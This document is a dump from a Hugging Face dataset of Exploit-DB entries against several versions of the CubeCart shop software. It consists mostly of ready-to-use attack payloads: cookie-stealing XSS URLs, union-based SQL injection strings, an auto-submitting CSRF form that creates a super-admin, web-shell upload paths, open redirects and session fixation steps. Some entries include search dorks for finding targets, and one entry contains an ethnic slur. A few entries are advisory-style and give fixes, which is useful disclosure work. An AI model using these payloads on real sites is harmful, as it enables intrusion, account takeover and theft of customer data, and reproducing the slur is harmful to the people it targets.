deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36686
Description: CubeCart 3.0.20 - '/admin/login.php?goto' Arbitrary Site Redirect
Type: webapps
Platform: php
Date: 2012-02-10
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/51966/info
 
CubeCart is prone to a URI-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
 
A successful exploit may aid in phishing attacks; other attacks are possible.
 
CubeCart 3.0.20 is vulnerable; other versions may also be affected. 

http://www.example.com/cube3.0.20/admin/login.php?goto=//yehg.net
Exploit-DB #36687
Description: CubeCart 3.0.20 - 'switch.php?r' Arbitrary Site Redirect
Type: webapps
Platform: php
Date: 2012-02-10
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/51966/info
  
CubeCart is prone to a URI-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
  
A successful exploit may aid in phishing attacks; other attacks are possible.
  
CubeCart 3.0.20 is vulnerable; other versions may also be affected. 

http://www.example.com/cube3.0.20/switch.php?r=//yehg.net/&lang=es
Exploit-DB #36685
Description: CubeCart 3.0.20 - Multiple Script 'redir' Arbitrary Site Redirects
Type: webapps
Platform: php
Date: 2012-02-10
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/51966/info

CubeCart is prone to a URI-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

CubeCart 3.0.20 is vulnerable; other versions may also be affected. 

http://www.example.com/cube/index.php?act=login&redir=Ly95ZWhnLm5ldC8%3D
http://www.example.com/cube/cart.php?act=reg&redir=L2N1YmUvaW5kZXgucGhwP2FjdD1sb2dpbg%3D%3D
Exploit-DB #26304
Description: CubeCart 3.0.3 - 'cart.php?redir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14962/info
 
CubeCart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/cc3/cart.php?act=reg&redir=L3NpdGUvZGVtby9jYzMvaW5kZXgucGhwP3NlYXJjaFN0cj0lMjIlM0UlM0NzY3JpcHQlM0VhbGVydCUyOCUyOSUzQyUyRnNjcmlwdCUzRSZh
bXA7YWN0PXZpZXdDYXQmYW1wO1N1Ym1pdD1Hbw==[XSS-CODE]
http://www.example.com/cc3/cart.php?act=reg&redir=[XSS-CODE]
Exploit-DB #26303
Description: CubeCart 3.0.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-09-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14962/info

CubeCart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/cc3/index.php?searchStr=%3D%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&act=viewCat&Submit=Go
http://www.example.com/cc3/index.php?act=login&redir=L3NpdGUvZGVtby9jYzMvaW5kZXgucGhwP2FjdD12aWV3RG9jJmFtcDtkb2NJZD0x[XSS-CODE]
Exploit-DB #15816
Description: CubeCart 3.0.4 - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-23
Author: Dr.NeT

Exploit:
/////////////////((<? Dr.NeT @ Abdullah hacker team))//////////////
///
///#Title    : CubeCart 3.0.4 <= SQL injection Vulnerabilities 
///
///#Script   : CubeCart 3.0.4
///
///#Language : Php
///
///#Download : http://www.cubecart.com/
///
///#Date     : 2010/12/23
///
///#Version  : 3.0.4
///
///#Dork     : "Powered by CubeCart 3.0.4"
///
///#info     : Dr.NeT @ Abdullah hacker team : xdr.netx@gmail.com
///
//////////////////////////////////////////////////////////////////
///
///$$ Exploit -
///
/// http://loaclhost/index.php?_a=viewProd&productId=(SQL injection)
///
///@@ admin page 
/// 
///@@ http://loaclhost/admin
///
///
///
///
/// Greetz : Sport Evel , MR.bng ,Black Cobra,Abdullah hacker team,Mn7rf hacker, Mr.MoDaMeR,all muslam hackers
///                         ::: exit :::
/////////////////((Dr.NeT @ Abdullah hacker team?>))//////////////
Exploit-DB #33362
Description: CubeCart 3.0.4/4.3.6 - 'ProductID' SQL Injection
Type: webapps
Platform: php
Date: 2009-11-19
Author: Sangte Amtham

Exploit:
source: https://www.securityfocus.com/bid/37065/info

CubeCart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects CubeCart 4.3.6; prior versions may also be affected. 

http://www.example.com/store/index.php?_a=viewProd&productId=22+and+1=2+union+select+version()
Exploit-DB #15822
Description: CubeCart 3.0.6 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-12-24
Author: P0C T34M

Exploit:
#Title    : CubeCart 3.0.4 <= CSRF Add Admin
#Script   : CubeCart 3.0.4
#Language : Php
#Download : http://www.cubecart.com/
#Date     : 2010/12/24
#Version  : 3.0.4
#Dork     : "Powered by CubeCart 3.0.4"
#Found    : by P0C T34M >> tnt-r00t 
#Homepage : www.p0c.cc


<form name="p0c" action="http://127.0.0.1/cc/admin/adminusers/administrators.php?mode=new" method="post">

          <input name="name" type="hidden" value="myname"/ >
    <input name="adminUsername" type="hidden" value="r00t" />
    <input name="email" type="hidden" value="myemail@hotmail.com">
        <input name="adminPassword" type="hidden"  value="t00r" />
    <input name="isSuper" type="hidden" value="1" checked="checked" type="radio"/>
    <input name="adminId" value="" type="hidden"/>
    <input name="Submit" type="hidden" class="submit" value="Add User" type="submit"/>
 
 
</form>
<script>document.p0c.submit();</script>

NICKNAME: P0C T34M
Exploit-DB #28695
Description: CubeCart 3.0.x - '/admin/forgot_pass.php?user_name' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20215/info

CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/admin/forgot_pass.php?submit=1&user_name=-1'or%201=1/*
http://www.example.com/admin/forgot_pass.php?submit=1&user_name=-1'%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42/*
Exploit-DB #28703
Description: CubeCart 3.0.x - '/admin/header.inc.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20215/info
       
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
       
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
      
http://www.example.com/admin/header.inc.php?site_name=</title><script>alert(document.cookie);</script>
http://www.example.com/admin/header.inc.php?la_adm_header=</title><script>alert(document.cookie);</script>
http://www.example.com/admin/header.inc.php?charset='><script>alert(document.cookie);</script>
Exploit-DB #28702
Description: CubeCart 3.0.x - '/admin/image.php?image' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20215/info
      
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
      
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
     
http://www.example.com/admin/image.php?image=<script>alert(document.cookie);</script>
Exploit-DB #28701
Description: CubeCart 3.0.x - '/admin/nav.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20215/info
     
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
     
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
    
http://www.example.com/admin/nav.php?site_url="><script>alert(document.cookie);</script><noscript>
http://www.example.com/admin/nav.php?la_search_home=<script>alert(document.cookie);</script>
Exploit-DB #28699
Description: CubeCart 3.0.x - '/admin/print_order.php?order_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20215/info
   
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
http://www.example.com/admin/print_order.php?order_id=<script>alert(document.cookie);</script>
Exploit-DB #28698
Description: CubeCart 3.0.x - '/admin/print_order.php?order_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20215/info
  
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/admin/print_order.php?order_id='%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,
27,28,29,30/*
Exploit-DB #28704
Description: CubeCart 3.0.x - 'footer.inc.php?la_pow_by' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20215/info
        
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
        
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
       
http://www.example.com/footer.inc.php?la_pow_by=<script>alert(document.cookie);</script>
Exploit-DB #28697
Description: CubeCart 3.0.x - 'view_doc.php?view_doc' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20215/info
  
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/view_doc.php?view_doc=-1'%20union%20select%201,2/*
Exploit-DB #28700
Description: CubeCart 3.0.x - 'view_order.php?order_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20215/info
    
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
    
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
   
http://www.example.com/view_order.php?order_id=<script>alert(document.cookie);</script>
Exploit-DB #28696
Description: CubeCart 3.0.x - 'view_order.php?order_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20215/info
 
CubeCart is prone to multiple input-validation vulnerabilities, including information-disclosure, cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/view_order.php?order_id='%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2
9,30/*
Exploit-DB #27304
Description: CubeCart 3.0.x - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-02-23
Author: NSA Group

Exploit:
source: https://www.securityfocus.com/bid/16796/info

CubeCart is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

<form action="http://www.example.com/cubedir/admin/includes/rte/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFol
der=/"
method="POST" enctype="multipart/form-data">
File Upload<br>
<input id="txtFileUpload" type="file" name="NewFile">
<br>
<input type="submit" value="Upload">
</form>
Exploit-DB #28399
Description: CubeCart 3.0.x - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-08-17
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/19563/info

CubeCart is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

CubeCart 3.0.11 and earlier versions are vulnerable to these issues; other versions may also be affected.

http://www,example.com/[target]/[path_to_cubecart]/admin/filemanager/preview.php?file="><script>alert(document.cookie)</script>
http://www,example.com/[target]/[path_to_cubecart]/admin/filemanager/preview.php?file=1&x="><script>alert(document.cookie)</script>
http://www,example.com/[target]/[path_to_cubecart]/admin/filemanager/preview.php?file=1&y="><script>alert(document.cookie)</script>
http://www,example.com/[target]/[path_to_cubecart]/admin/login.php?email="><script>alert(document.cookie)</script>
Exploit-DB #15765
Description: CubeCart 3.x - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-12-17
Author: StunTMaN!

Exploit:
============================================================================== 
 
        [»] CubeCart v 3.x Remote File Upload Vulnerability
 
============================================================================== 
 
    [»] Title   :           [ CubeCart v 3.x Remote Shell Upload Vulnerability ]
 
    [»] Script  :           [ CubeCart v3.x  ] 
 
    [»] Language:           [ PHP ] 
 
    [»] Download:           [ http://www.cubecart.com/ ]
 
    [»] Author  :           [ StunTMaN! - stunt.man@att.net }
 
    [»] Info    :           [ I'm S.W.A.T. | Old Persian Hacker | New Nickname | ;) ] 
 
    [»] Date    :           [ 2010-12-13 ] 
  
    [»] Version :           [ 3.0.X and 3.2.x ]

    [»] Dork    :           [ "Powered by CubeCart 3.0.0" ]

    [»] Bug Info:           [ Use Your Mind To How To Upload PHP Shell Script On This CMS ]
 
########################################################################### 
 
    
===[ Exploit ]=== 
 
 
  [»] http://server/admin/includes/rte/editor/filemanager/browser/default/connectors/test.html 
 
  [»] Just use PHP Mode for uploading your files

===[ Upload To ]===

  [»] http://server/images/File/[Shell] 


Greetz : All IRANIAN Hackerz ~ Cyber Hackerz

     Persian Gulf For Ever ~ Not Damn Mother F***er Arabians!!
                                  
 
###########################################################################
Exploit-DB #24465
Description: CubeCart 5.2.0 - 'cubecart.class.php' PHP Object Injection
Type: webapps
Platform: php
Date: 2013-02-07
Author: EgiX

Exploit:
-------------------------------------------------------------------------
CubeCart <= 5.2.0 (cubecart.class.php) PHP Object Injection Vulnerability
-------------------------------------------------------------------------


[-] Software Link:

http://www.cubecart.com/


[-] Affected Versions:

All versions from 5.0.0 to 5.2.0


[-] Vulnerability Description:

The vulnerable code is located in the Cubecart::_basket() method defined in the /classes/cubecart.class.php script:

519.	// Update shipping values
520.	if (isset($_POST['shipping']) && !empty($_POST['shipping'])) {
521.	    $GLOBALS['cart']->set('shipping', unserialize(base64url_decode($_POST['shipping'])));
522.	    if (!isset($_POST['proceed'])) {
523.	        httpredir(currentPage());
524.	    }
525.	}

User input passed through the $_POST['shipping'] parameter is not properly sanitized before being
used in an unserialize() call at line 521. This can be exploited to inject an arbitrary object into
the application scope. For e.g. the destructor method of the "Config" class could be abused:

78.	public function __destruct() {
79.	    //Do we need to write to the db
80.	    if ($this->_write_db) {
81.	        $this->_writeDB();
82.	    }
83.	}

By sending a specially crafted serialized "Config" object, an attacker might be able to change the
application configuration settings with arbitrary values, and this can lead to make the application
vulnerable to malicious attacks such as Cross-Site Scripting, SQL Injection or Denial of Service.


[-] Solution:

Upgrade to version 5.2.1 or higher.


[-] Disclosure Timeline:

[27/01/2013] - Issue reported to http://bugs.cubecart.com/view.php?id=511
[31/01/2013] - Version 5.2.1 released: http://forums.cubecart.com/?showtopic=47026
[31/01/2013] - CVE number requested
[04/02/2013] - CVE number assigned
[06/02/2013] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2013-1465 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2013-02
Exploit-DB #32830
Description: CubeCart 5.2.8 - Session Fixation
Type: webapps
Platform: php
Date: 2014-04-13
Author: absane

Exploit:
# Exploit Title:     CubeCart 5.2.8 Session Fixation
# Exploit Author:    James Sibley (absane)
# Blog:              http://www.pentester.co
# Download link:     http://www.cubecart.com/download/5.2.8/zip
# Discovery date:    March 14th, 2014
# Vendor notified:   March 15th, 2014
# Vendor fixed:      April 10th, 2014
# Vendor ack:        http://forums.cubecart.com/topic/48427-cubecart-529-relased/
# CVE assignment:    CVE-2014-2341

CubeCart 5.2.8 is vulnerable to a session fixation vulnerability.

The only protection offered is via the User-Agent header field, which can spoofed to match the victim.

=======================
=Proof of Concept.....=
=======================

*Set the User-Agent for both attacker and victim: 
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)

*To attack a customer:
Victim visits: http://[CubeCart Site]/index.php?PHPSESSID=1337

*To attack an administrator:
Victim visits: http://[CubeCart Site]/admin.php?PHPSESSID=1337

When the victim logs in, the attacker can visit the same link (using the same User-Agent) and hijack the victim's session.

=======================
=Cause................=
=======================

The PHPSESSID parameter is not ignored and allows an attacker to specify their own session id.

The code handling login procedures do not generate new sessions upon successful authentication. 

=======================
=Mitigation...........=
=======================

Upgrade to CubeCart >= 5.2.9

If upgrading is not an option, here is a hackish workaround for the session fixation vulnerability:

In admin.class.php add this at line 324:
$GLOBALS['session']->restart();

In user.class.php add this at line 227:
$GLOBALS['session']->restart();